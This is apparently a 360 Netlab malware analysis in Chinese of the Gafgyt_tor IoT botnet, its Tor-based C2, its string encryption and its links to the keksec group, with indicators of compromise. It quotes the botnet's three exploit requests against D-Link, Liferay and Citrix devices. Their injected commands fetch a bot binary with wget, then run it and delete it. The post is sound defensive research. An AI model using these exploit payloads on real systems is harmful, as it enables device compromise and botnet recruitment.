Gafgtyt_tor，Necro作者再次升级“武器库”

版权


版权声明: 本文为Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



概述


自2021年2月15号起，360Netlab的BotMon系统持续检测到Gafgyt家族的一个新变种，它使用Tor进行C2通信以隐藏真实C2，并对样本中的敏感字符串做了加密处理。这是我们首次发现使用Tor机制的Gafgyt变种，所以将该变种命名为Gafgyt_tor。进一步分析发现该家族与我们1月份公开的Necro家族有紧密联系，背后为同一伙人，即所谓的keksec团伙[1] [2]。检索历史样本发现该团伙长期运营Linux IoT botnet，除了Necro和Gafgyt_tor，他们还曾运营过Tsunami和其它Gafgyt变种botnet。本文将介绍Gafgyt_tor，并对该团伙近期运营的其它botnet做一梳理。


本文关键点如下：


 1. Gafgyt_tor使用Tor来隐藏C2通信，可内置100多个Tor代理，并且新样本在持续更新代理列表。
 2. Gafgyt_tor跟keksec团伙之前分发的Gafgyt样本同源，核心功能依然是DDoS攻击和扫描。
 3. keksec团伙会在不同家族间复用代码，可以通过2进制特征进行关联。
 4. 除了代码，keksec团伙还会长期复用他们拥有的一批IP地址。



样本分析



传播


目前发现的Gafgyt_tor botnet主要通过Telnet弱口令和以下三个漏洞进行传播。


 * D-Link RCE(CVE-2019-16920)


POST /apply_sec.cgi HTTP/1.1
Host: %s:%d
User-Agent: kpin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Referer: http://%s:%d/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin



 * Liferay Portal RCE


POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: %s:%d
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.0
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0

%2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...



 * Citrix CVE-2019-19781


POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
NSC_USER: ../../../netscaler/portal/templates/flialwznxz
NSC_NONCE: 12
Content-Length: %d
Content-Type: application/x-www-form-urlencoded

url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a 




加密


Gafgyt_tor集成了一个替换加密算法，用于加密C2和敏感字串以对抗检测和静态分析。敏感字符串包括指令、IPC路径名、DDoS相关的攻击字串等。


下面是密文和明文C2对比：


#密文
'"?>K!tF>iorZ:ww_uBw3Bw' 

#明文
'wvp3te7pkfczmnnl.onion'



目前我们检测到的Gafgyt_tor变种C2都是 wvp3te7pkfczmnnl.onion。


一些敏感字串密解密结果如下：


# 指令相关字串
~-6mvgmv    -    LDSERVER
1-|         -         UDP
cD|         -         TCP
ej~-        -        HOLD
51,U        -        JUNK
c~6         -         TLS
6c-         -         STD
-,6         -         DNS
6D7,,mv     -     SCANNER
j,          -          ON
jdd         -         OFF
jge         -         OVH
.~7DU,1v6m  -  BLACKNURSE

# 攻击选项相关字串
7~~         -         ALL
6p,         -         SYN
v6c         -         RST
dx,         -         FIN
7DU         -         ACK
|6e         -         PSH

# 扫描相关字串
aDbwwtr3bw  -  WChnnecihn
aQuq        -         W.1
aEcc        -        WxTT
74tw!       -       Agent
1;t=        -        User

# misc
|x,<        -        PING
=ru_Brf_    -    rc.local



下面是我们依据逆向结果编写的python解密代码：


 def decode(encoded, encodes):
    idx = 0
    decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
    decoded = bytearray()

    while ( idx < len(encoded)):
        for table_idx in range(0, 64):
            if encoded[idx] == encodes[table_idx]:
                decoded.append(decodes[table_idx])
        idx += 1

    print(decoded)
 
encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>iorZ:ww_uBw3Bw'
decode(encoded_cc, encodes)




通信


相比其它Gafgyt变种，Gafgyt_tor最大的变化是C2通信基于Tor，这提高了检测和阻断难度。基于Tor的C2通信机制在我们以往分析过的其它家族( Matryosh leethozer moobot )中曾见到过，但在Gafgyt家族中这是首次碰到。


 * 代码变化


跟其它版本相比，加入Tor代理功能的Gafgyt_tor的main函数代码结构变化非常大，如下图所示。


原来负责建立C2连接的initConnection()函数不见了，取而代之的是一大段负责建立Tor连接的代码。新加入的Tor相关函数如下：


其中，tor_socket_init负责初始化代理节点列表，每个节点包含ip地址和端口。


我们分析发现每个样本集成的代理节点数在100+，最多的高达173个。


初始化好代理列表后，样本会通过tor_retrieve_addr和tor_retrieve_port从列表中随机选择一个节点开启Tor通信。


与Tor代理建立连接后，Gafgyt_tor就开始通过暗网请求wvp3te7pkfczmnnl.onion 等待指令。在我们分析过的样本中这个C2地址一直没变，但是通信端口在持续变化。


 * 指令


Gafgyt_tor的核心功能依然是DDoS攻击和扫描，所以基本沿用了常见的Gafgyt指令，但增加了一个名为LDSERVER的指令。C2可以通过该指令指定Gafgyt_tor的exploit中所用到的下载服务器，如下图所示。


该指令意味着C2可以动态切换下载服务器，在老的下载服务器被封后可以快速切换到新的下载服务器继续传播。



其它


Gafgyt_tor除了对通信功能进行改造以外还使用了一些其它不常见的编码技巧。


 * 单例模式


使用Unix域套接字（一种IPC机制）实现单例模式，这种IPC机制需要指定一个路径名，这个路径名也被加密了。如下图所示的k4=f2t解密后为ugrade。


 * 函数名混淆


我们收集到的Gafgyt_tor样本都没被strip过，所以样本中保存了完整的符号信息，大部分样本都会使用一个名为ak47Scan的函数进行扫描和传播。在2月24号捕获的样本中我们发现这个函数名被混淆成了随机字串，可以推测样本正处于积极开发阶段，作者正在逐步加强Gafgyt_tor对抗分析和查杀的能力。



样本溯源


在分析Gafgyt_tor的IoC时，我们注意到有一个download server IP 45.145.185.83被今年1月初出现的Necro botnet使用过:


2020-12-28 23:37:17	2021-01-06 06:28:43	293	gxbrowser.net	A	45.145.185.83



gxbrowser.net是Necro的3个C2之一，上图显示它曾多次解析到Gafgyt_tor的这个download server IP。


进一步的分析表明，该IP和另一个Necro C2 IP 193.239.147.224还曾在2月初被分其它版本的Gafgyt和Tsunami botnet用作C2，而这2个botnet又明显的跟Gafgyt_tor共享了代码：


 1. 都有名为decode的解密函数，代码结构完全相同。
 2. 都有名为ak47scan和ak47telscan的扫描函数。


它们的解密函数decode()只是码表有差别：


# gafgyt样本中的码表
'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'

# tsunami样本中的码表
'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'



下图是它们的ak47scan()函数对比，能看到功能和结构其实是类似的，但运行方式和扫描的端口有变化。


依据上述的decode()和ak47scan()函数2进制特征，我们在样本库中发现了更多的这类Tsunami和Gafgyt样本，它们特点如下：


 1. Tsunami样本在2020年8月份中旬出现，活跃时间较短。
 2. Gafgyt样本从2020年9月份到12月份一直在断断续续的传播。
 3. 从2月初到中旬，先是Tsunami样本恢复传播，然后是Gafgyt，接下来就是Gafgyt_tor。
 4. 目前传播的Gafgyt_tor变种和之前捕获的Gafgyt样本存在很多相似之处，代码明显同源。
 5. 这些变种botnet频繁复用download server和C2 IP。


能看出今年1月份是空窗期，我们猜测是因为作者将精力放在了Necro上，因为那段时间刚好是Necro活跃的时间。在2进制特征上，尽管因为Necro使用Python编写而跟Gafgyt_tor没有相似之处，但传播手法上却有一些共同点：


 1. 都在短时间内更换了不同的exploits，估计是为了提高传播效果。
 2. 都采用了“边开发边分发”的方式不断完善botnet功能，导致短期内有大量不同的样本被分发。


综合上述分析，我们认为Gafgyt_tor和Necro背后为同一伙人，他们拥有一批固定的IP地址和多个botnet的源代码，并且有持续开发能力。在实际运营中，他们会组建不同家族的botnet，但会复用IP地址这类基础设施，比如上面提到的IP 45.145.185.83地址从去年底以来不同功能的timeline大概如下图所示。


考虑到业界已有2篇报告都认为Necro/Freakout背后存在1个针对IOT设备的长期活跃的botnet团伙，结合我们自己的证据，我们同意他们的观点。为了保持一致，这里也称之为keksec团伙，下面是一些关于该团伙的结论:


 1. 他们起码掌握了Necro、Gafgyt和Tsunami的源代码，并有能力进行持续的开发。
 2. 他们会持续升级手中的botnet并轮流使用。
 3. 他们拥有一批IP地址资源，并在不同的botnet中复用。
 4. 该团伙会紧跟IoT方面的n-day漏洞并第一时间用来组建自己的botnet。


下面是从去年8月份到现在我们检测到的该团伙运营的Linux IoT botnet家族timeline图。


截至文章发稿时Gafgyt_tor botnet仍在传播中，依据我们对该团伙历史botnet的观察，预计Gafgyt_tor仍会持续活跃一段时间，并且不排除后续他们会添加新的exploits的可能。我们对该变种以及keksec团伙的行为将继续保持关注，有最新的动向将及时公开。



IoC


 * MD5


# tsunami
3ab32e92917070942135f5c5a545127d

# gafgyt
f1d6fbd0b4e6c6176e7e89f1d1784d14

# gafgyt_tor
eb77fa43bb857e68dd1f7fab04ed0de4
dce3d16ea9672efe528f74949403dc93
bfaa01127e03a119d74bdb4cb0f557ec
a6bdf72b8011be1edc69c9df90b5e0f2
5c1153608be582c28e3287522d76c02f
54e2687070de214973bdc3bc975049b5
b40d8a44b011b79178180a657b052527
1cc68eb2d9713925d692194bd0523783
94a587198b464fc4f73a29c8d8d6e420
2b2940d168a60990377fea8b6158ba22
56439912093d9c1bf08e34d743961763
2d6917fe413163a7be7936a0609a0c2d
8cd99b32ec514f348f4273a814f97e79
1c966d79319e68ccc66f1a2231040adb
47275afdb412321610c08576890093d7
3c5758723980e6b9315ac6e6c32e261d
980d4d0ac9335ae1db6938e8aeb3e757
513bc0091dfa208249bd1e6a66d9d79e
8e551c76a6b17299da795c2b69bb6805
61b93c03cb5af31b82c11d0c86f82be1
69cab222e42c7177655f490d849e18c5
7cbdd215e7f1e17fc589de2df3f09ac9
6b631fed1416c2cd16ca01738fdfe61a
90a716280fe1baee0f056a79c3aa724d
3b4f844c7dd870e8b8c1d5a397a29514
853dc777c5959db7056f64b34e938ba5
3eccab18fa690bbfdb6e10348bc40b02
e78e04aad0915f2febcbb19ef6ffc4fe
b99115a6ea41d85dea5c96d799e65353
4b95dfc5dc523f29eebf7d50e98187c2
4c271f8068bc64686b241eb002e15459
843a7fec9a8e2398a69dd7dfc49afdd2
7122bcd084d2d0e721ec7c01cf2a6a57
10f6b09f88e0cf589d69a764ff4f455b
f91083e19eed003ac400c1e94eba395e



 * C2


wvp3te7pkfczmnnl.onion



 * Download URL


http://45.153.203.124/bins/AJhkewbfwefWEFx86
http://45.153.203.124/bins/AJhkewbfwefWEFsh4
http://45.153.203.124/bins/AJhkewbfwefWEFmips

http://45.153.203.124/S1eJ3/lPxdChtp3zx86
http://45.153.203.124/S1eJ3/lPxdChtp3zsh4
http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp
http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl
http://45.153.203.124/S1eJ3/lPxdChtp3zmips
http://45.153.203.124/S1eJ3/lPxdChtp3zarm7
http://45.153.203.124/S1eJ3/lPxdChtp3zarm

http://45.145.185.83/bins/AJhkewbfwefWEFx86
http://45.145.185.83/bins/AJhkewbfwefWEFspc
http://45.145.185.83/bins/AJhkewbfwefWEFsh4
http://45.145.185.83/bins/AJhkewbfwefWEFppc
http://45.145.185.83/bins/AJhkewbfwefWEFmips
http://45.145.185.83/bins/AJhkewbfwefWEFi586
http://45.145.185.83/bins/AJhkewbfwefWEFarm7
http://45.145.185.83/bins/AJhkewbfwefWEFarm

http://45.145.185.83/S1eJ3/lPxdChtp3zsh4
http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl
http://45.145.185.83/S1eJ3/lPxdChtp3zmips
http://45.145.185.83/S1eJ3/lPxdChtp3zi686
http://45.145.185.83/S1eJ3/lPxdChtp3zbsd
http://45.145.185.83/S1eJ3/lPxdChtp3zarm7
http://45.145.185.83/S1eJ3/lPxdChtp3zarm64
http://45.145.185.83/S1eJ3/lPxdChtp3zarm

http://45.145.185.83/S1eJ3/IObeENwjx86
http://45.145.185.83/S1eJ3/IObeENwjmips
http://45.145.185.83/S1eJ3/IObeENwjarm5
http://45.145.185.83/S1eJ3/IObeENwjarm4
http://45.145.185.83/S1eJ3/IObeENwjarm



 * Tor Proxy


103.125.218.111
103.125.218.111
103.82.219.42
104.155.207.91
104.224.179.229
107.20.204.32
111.90.159.138
116.202.107.151
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
119.28.149.37
128.199.45.26
130.193.56.117
134.122.4.130
134.122.4.130
134.122.59.236
134.122.59.236
134.122.59.236
134.209.230.13
134.209.249.97
135.181.137.237
138.68.6.227
139.162.149.58
139.162.32.82
139.162.42.124
139.99.239.154
142.47.219.133
143.110.230.187
145.239.83.129
146.59.156.72
146.59.156.76
146.59.156.77
146.66.180.176
148.251.177.144
157.230.27.96
157.230.98.211
157.230.98.77
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.247.211.132
159.65.69.186
159.69.203.65
159.69.203.65
159.89.19.9
161.35.84.202
165.22.194.250
165.22.94.245
167.172.123.221
167.172.173.3
167.172.177.33
167.172.178.215
167.172.179.199
167.172.180.219
167.172.190.42
167.233.6.47
167.71.236.109
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.61.251
172.104.240.74
172.104.4.144
176.37.245.132
178.62.215.4
18.191.18.101
18.229.49.115
185.105.237.253
185.106.121.176
185.106.122.10
185.128.139.56
185.180.223.198
185.18.215.170
185.18.215.178
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.217.1.30
188.127.231.152
188.165.233.121
188.166.17.35
188.166.34.137
188.166.79.209
188.166.79.209
188.166.80.74
188.166.82.232
188.166.82.232
188.227.224.110
188.68.52.220
192.46.209.98
192.99.169.229
193.123.35.48
193.187.173.33
195.123.222.9
195.93.173.53
197.156.89.19
198.27.82.186
198.74.54.182
199.247.4.110
201.40.122.152
20.52.130.140
20.52.130.140
20.52.130.140
20.52.147.137
20.52.37.89
20.52.37.89
206.81.17.232
206.81.27.29
212.71.253.168
212.8.244.112
217.12.201.190
217.12.201.190
217.12.201.190
217.144.173.78
217.170.127.226
217.61.98.33
34.239.11.167
35.189.88.51
35.192.111.58
35.192.111.58
37.200.66.166
3.91.139.103
45.33.45.209
45.33.79.19
45.33.82.126
45.79.207.110
45.81.225.67
45.81.225.67
45.81.226.8
45.81.226.8
45.81.226.8
45.92.94.83
46.101.156.38
46.101.159.138
47.90.1.153
49.147.80.102
50.116.61.125
5.100.80.141
51.11.240.222
51.11.240.222
51.116.185.181
51.116.185.181
51.195.201.47
51.195.201.50
5.167.53.191
51.68.191.153
51.75.161.21
51.83.185.71
51.83.186.137
51.89.165.233
52.47.87.178
5.63.13.54
66.42.34.110
67.205.130.65
68.183.67.182
68.183.82.50
79.124.62.26
80.251.220.190
8.210.163.246
8.210.163.246
87.236.215.248
88.198.167.20
88.198.167.20
91.236.251.131
94.23.40.220
95.179.163.1
95.179.163.1
95.179.163.1
95.179.163.1
95.179.164.28
95.179.164.28
95.179.164.28
95.188.93.135
95.216.123.39
95.216.137.149
95.217.27.5






参考


https://blog.netlab.360.com/necro/

https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg

https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/